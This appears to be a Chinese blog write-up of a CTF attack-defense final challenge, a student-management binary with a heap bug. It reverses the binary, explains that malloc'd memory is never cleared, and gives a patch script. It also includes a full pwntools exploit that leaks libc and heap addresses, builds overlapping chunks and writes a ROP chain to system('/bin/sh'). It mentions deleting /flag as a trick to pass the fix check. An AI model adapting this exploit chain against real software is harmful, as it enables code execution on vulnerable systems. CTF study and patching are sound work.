Featured image of post 软件系统安全决赛-student-management

软件系统安全决赛-student-management

memset未归零导致的内容复用可供伪造堆块实现arb read,还原学生结构体后构造合理堆风水通过unsorted bin切分实现overlapping chunk,通过arb write覆写二级指针get shell

最后更新于:
|
|
|

大家都喜欢的学生管理系统

分析

文件保护全开,glibc为2.39版本

提供注册登录删除三个功能

结构体分析

register函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void sub_13A8()
{
  _QWORD *buf; // [rsp+8h] [rbp-8h]

  buf = (_QWORD *)sub_12A9(0x88);
  if ( buf )
  {
    puts("\n=== Registration ===");
    printf("ID: ");
    *((_BYTE *)buf + read(0, buf, 0xFu)) = 0;
    if ( sub_1351(buf) ) //sub_1351中通过next指针检查用户id是否存在
    {
      puts("[-] ID exists");
      free(buf);
    }
    else
    {
      printf("Name: ");
      *((_BYTE *)buf + read(0, buf + 2, 0x3Fu) + 16) = 0;
      printf("Pass: ");
      *((_BYTE *)buf + read(0, buf + 10, 0x1Fu) + 80) = 0;
      buf[16] = qword_4030;
      qword_4030 = (__int64)buf;
    }
  }
}

login函数

bio编辑,修改用户内容

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned __int64 __fastcall sub_163D(__int64 a1)
{
  _BYTE *v1; // rbx
  int v3; // [rsp+14h] [rbp-1Ch] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  printf("\nNew bio size: ");
  __isoc99_scanf("%d", &v3);
  getchar();
  if ( v3 > 0 && v3 <= 1024 )
  {
    if ( *(_QWORD *)(a1 + 112) && *(_QWORD *)(a1 + 120) < (unsigned __int64)v3 )
    {
      free(*(void **)(a1 + 112));
      *(_QWORD *)(a1 + 112) = sub_12A9(v3);
      *(_QWORD *)(a1 + 120) = v3;
    }
    else if ( !*(_QWORD *)(a1 + 112) )
    {
      *(_QWORD *)(a1 + 112) = sub_12A9(v3);
      *(_QWORD *)(a1 + 120) = v3;
    }
    printf("Content: ");
    v1 = *(_BYTE **)(a1 + 112);
    v1[read(0, v1, v3 - 1)] = 0;
  }
  return v4 - __readfsqword(0x28u);
}

查看用户具体信息

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
int __fastcall sub_15C9(__int64 a1)
{
  __int64 v1; // rax

  puts("\n=== Profile ===");
  printf("Name: %s\nID: %s\n", (const char *)(a1 + 16), (const char *)a1);
  v1 = *(_QWORD *)(a1 + 112);
  if ( v1 )
    LODWORD(v1) = printf("Bio: %s\n", *(const char **)(a1 + 112));
  return v1;
}

根据以上三个函数我们可以逆向分析出student的结构体内容

1
2
3
4
5
6
7
8
9
struct student
{
  char id[0x10];
  char name[0x40];
  char pass[0x20];
  char *bio;
  size_t bio_size;
  student *next;
};

新增bio

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned __int64 __fastcall sub_163D(student *a1)
{
  char *bio; // rbx
  int v3; // [rsp+14h] [rbp-1Ch] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  printf("\nNew bio size: ");
  __isoc99_scanf("%d", &v3);
  getchar();
  if ( v3 > 0 && v3 <= 1024 )
  {
    if ( a1->bio && a1->bio_size < v3 )
    {
      free(a1->bio);
      a1->bio = (char *)enc_malloc(v3);
      a1->bio_size = v3;
    }
    else if ( !a1->bio )
    {
      a1->bio = (char *)enc_malloc(v3);
      a1->bio_size = v3;
    }
    printf("Content: ");
    bio = a1->bio;
    bio[read(0, bio, v3 - 1)] = 0;
  }
  return v4 - __readfsqword(0x28u);
}

size<=0x400,若不存在已有bio就往chunk+0x70分配一个新指针,往0x78写size并补0(因为在打印信息里会截断,用来)

删除用户

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
if ( s == 3 )
    {
      printf("\nID to delete: ");
      buf[read(0, buf, 0xFu)] = 0;
      v5 = (void **)&qword_4030;
      ptr = nullptr;
      while ( *v5 )
      {
        if ( !strcmp((const char *)*v5, buf) )
        {
          ptr = (student *)*v5;
          *v5 = ptr->next;
          if ( ptr->bio )
          {
            free(ptr->bio);
            ptr->bio = nullptr;
          }
          free(ptr);
          printf("[+] Student %s deleted\n", buf);
          break;
        }
        v5 = (void **)((char *)*v5 + 128);
      }
      if ( !ptr )
        puts("[-] Not found");
    }

检验chunk寻找id,检验通过后检查0x70有无信息指针,存在则释放内容,清空指针,并从链表中删除

漏洞点

在注册函数中

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void register()
{
  student *buf; // [rsp+8h] [rbp-8h]

  buf = (student *)enc_malloc(0x88);
  if ( buf )
  {
    puts("\n=== Registration ===");
    printf("ID: ");
    buf->id[read(0, buf, 0xFu)] = 0;
    if ( sub_1351(buf) )
    {
      puts("[-] ID exists");
      free(buf);
    }
    else
    {
      printf("Name: ");
      buf->name[read(0, buf->name, 0x3Fu)] = 0;
      printf("Pass: ");
      buf->pass[read(0, buf->pass, 0x1Fu)] = 0;
      buf->next = (student *)qword_4030;
      qword_4030 = (__int64)buf;
    }
  }
}

在分配一个新的堆块的时候注意到只写入了id name pass 和一个next链接到student链表中,步入查看具体实现的malloc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
void *__fastcall sub_12A9(size_t a1)
{
  void *v2; // [rsp+18h] [rbp-8h]

  v2 = malloc(a1);
  if ( !v2 )
  {
    puts("malloc failed");
    exit(1);
  }
  printf("token: %lx\n", (unsigned __int16)v2 & 0xFFF);
  return v2;
}

发现程序实现的malloc没有将分配空间memset为0,不会清空chunk数据,如果合理构造堆块,在free之后再次分配就可以任意读写到bio,结合上面的register可以想到是否能将poinsoned chunk链入来leak出内容呢?

attack & fix

fix部分

上一次的fix也是手打的AwdPwnpatcher,这一次不知为何过不了。。。前一天晚上本来睡前美美git clone 了一个evilpatcher准备拿来上通防到了赛场发现没有了?!(估计是前一天晚上锁屏的时候wifi自动断开了),总之思路有以下几种

  • 通防沙箱
  • memset后置零
  • 修改fix脚本,例如rm /flag也能过check 神秘的是复赛的时候我尝试fix.sh的手法是过不了的……我只能说fix这一块真是让我意想不到 patch.py:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
from AwdPwnPatcher import AwdPwnPatcher
src = "./original/pwn"
out= "./out/pwn_patch"

ASM = """
mov rdx, qword ptr [rbp-0x18]
xor esi, esi
mov rdi, qword ptr [rbp-0x8]
call 0x1150
mov rax, qword ptr [rbp-0x8]
leave
ret
"""

def main():
    patcher = AwdPwnPatcher(src, adjust_eh_frame_size=False)
    patcher.patch_origin(0x12e9, 0x130f, assembly=ASM)
    patcher.save(out, fix_eh_frame_flags=False)


if __name__ == "__main__":
    main()

attack

堆风水构造,反向释放合并完unsorted bin留存main_arena指针,此时一个足够大可以分割的unsorted bin可让我们用于构造堆风水

login之后在edit_bio的时候我们可以申请任意大小堆块,填满tcache后再次申请0x120大小堆块分掉,再次register后后可以leak地址
此处我们需要两个chunk的空间,填满tcache后从unsorted bin里切割0x130大小的chunk给bio,我们新register的用户残留的bio里就会有二级指针可以指向main_arena的悬垂指针了,同理如果我们利用剩余的unsorted bin构建好在这个二级指针处放的是一个bio指针,就可以leak heap地址了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
for i in range(13):
    register(i, i, i)

register(13,13,13) #avoid consolidation
register(15,15,15)
for i in range(0,7):
    delete(i) # tcache
for i in range(7,13)[::-1]:  
    delete(i) # unsorted bin consolidation 

for i in range(7):
    register(i, i,i)

edit_bios(13,13,0x120,b"aaa")
register(14,14,14)
register(16,16,16)

out = show(14,14)
leak = out.split(b"Bio: ", 1)[1].split(b"\n\n1.View", 1)[0]
libc_leak = u64(leak.ljust(8, b"\x00"))
libc_base = libc_leak - 0x203b20

注意到我们目前student14->bio指向了heap+0x720,可以再次利用,伪造一个student结构体

write->student14(bio)-0xa0,我们从0x5627ba2d07a0开始更改掉size就可以overlapping写掉student14的结构体内容,如下

1
2
3
4
5
6
7
8
student14-> bio
⬇️
+0xa0  -> student14.id
+0xb0  -> student14.name
+0xf0  -> student14.pass
+0x110 -> student14.bio
+0x118 -> student14.bio_size
+0x120 -> student14.next

通过arb write我们写入bio拿environ
欸🤓☝️我们再次用上面leak heap的指针写一次不就可以写掉返回地址构造rop链exit get shell了当然也可以打IO(笑)

exploit

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
import argparse
import sys
import socks 
import socket
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument(
    "mode",
    type=int,
    choices=[0, 1, 2],
    nargs="?",
    default=0,
    help="0=local,1=local+gdb,2=remote",
)
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = "amd64"
remote_addr = "localhost"
remote_port = 1337

context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
    context.terminal = ["tmux", "splitw", "-h"]

def VIO_TEXT(x, code=95):
    return log.info(f"\x1b[{code}m{x}\x1b[0m")

def CLEAR_TEXT(x, code=32):
    return log.success(f"\x1b[{code}m{x}\x1b[0m")

if args.mode == 0:
    io = process(filename)
    CLEAR_TEXT("[*] Running on local machine")
elif args.mode == 1:
    io = process(filename)
    gdb.attach(io, gdbscript='''
        # put your scripts here
    ''')
elif args.mode == 2:
    socks.set_default_proxy(
        socks.SOCKS5,
        "domain",
        remote_port,
        username="",
        password="",
    )
    socket.socket = socks.socksocket
    io = remote(remote_addr, remote_port)
else:
    sys.exit(1)

elf = ELF(filename, checksec=False)
if libc_name:
    libc = ELF(libc_name, checksec=False)

def cmd(choice):
    io.sendlineafter(b"> ", str(choice).encode())

def register(id,name,password):
    cmd(1)
    io.sendlineafter(b"ID: ", str(id).encode())
    io.sendafter(b"Name: ", str(name).encode())
    io.sendafter(b"Pass: ", str(password).encode())

def show(id,password):
    cmd(2)
    io.sendlineafter(b"ID: ", str(id).encode())
    io.sendafter(b"Pass: ", str(password).encode())
    cmd(1)
    return io.recvuntil(b"0.Logout\n")

def login(id,password):
    cmd(2)
    io.sendlineafter(b"ID: ", str(id).encode())
    io.sendafter(b"Pass: ", str(password).encode())

def edit_current(size, content):
    cmd(2)
    io.sendlineafter(b"size: ", str(size).encode())
    io.sendafter(b"ontent: ", content)

def edit_bios(id,password,size,content):
    cmd(2)
    io.sendlineafter(b"ID: ", str(id).encode())
    io.sendafter(b"Pass: ", str(password).encode())
    cmd(2)
    io.sendlineafter(b"size: ", str(size).encode())
    io.sendafter(b"ontent: ", content)
    cmd(0)

def delete(id):
    cmd(3)
    io.sendlineafter(b"delete: ", str(id).encode())

def logout():
    cmd(0)

def tcache_pointer(a,b):
    return p64(b^(a>>12)) # tcache加密方式为上一个堆块地址左移12位异或地址本身

def overlap_student(id,bio,bio_size):
    off=0xa0 
    id=str(id).encode()
    fake_student=flat(
        {
            off: id+b"\n\x00",
            off+0x10:id+b"\x00",
            off+0x50:id+b"\x00",
            off+0x70:p64(bio),
            off+0x78:p64(bio_size),
        },filler=b"\x00",length=0x120
    )
    return fake_student

# --- Exploit Start ---
for i in range(13):
    register(i, i, i)

register(13,13,13) #avoid consolidation
register(15,15,15)
for i in range(0,7):
    delete(i) # tcache
for i in range(7,13)[::-1]:  
    delete(i) # unsorted bin consolidation 

for i in range(7):
    register(i, i,i)

edit_bios(13,13,0x120,b"aaa")
register(14,14,14)
register(16,16,16)

out = show(14,14)
leak = out.split(b"Bio: ", 1)[1].split(b"\n\n1.View", 1)[0]
libc_leak = u64(leak.ljust(8, b"\x00"))
libc_base = libc_leak - 0x203b20
libc.address = libc_base

VIO_TEXT(f"libc base = {hex(libc_base)}")
logout()

edit_bios(16,16,0x90,b"bbb")
register(17,17,17)
out=show(17,17)
leak = out.split(b"Bio: ", 1)[1].split(b"\n\n1.View", 1)[0]
# pause()
heap_base= u64(leak.ljust(8, b"\x00"))-0x2a0
VIO_TEXT(f"heap base = {hex(heap_base)}")
logout()

# pause()
edit_bios(14,14,0x121,overlap_student(14,libc.sym["environ"],0x400))
out=show(14,14)
leak = out.split(b"Bio: ", 1)[1].split(b"\n\n1.View", 1)[0]
environ = u64(leak.ljust(8, b"\x00"))
ret_addr = environ - 0x130 
VIO_TEXT(f"ret = {hex(ret_addr)}")
logout()

rop=flat(
   libc.address + 0x2882F,              # ret
   next(libc.search(asm("pop rdi; ret"))),
   next(libc.search(b"/bin/sh\x00")),
   libc.sym["system"],
)


edit_bios(16,16,0x121,overlap_student(16,ret_addr,len(rop)+1))
edit_bios(16,16,len(rop)+1,rop)
logout()

io.interactive()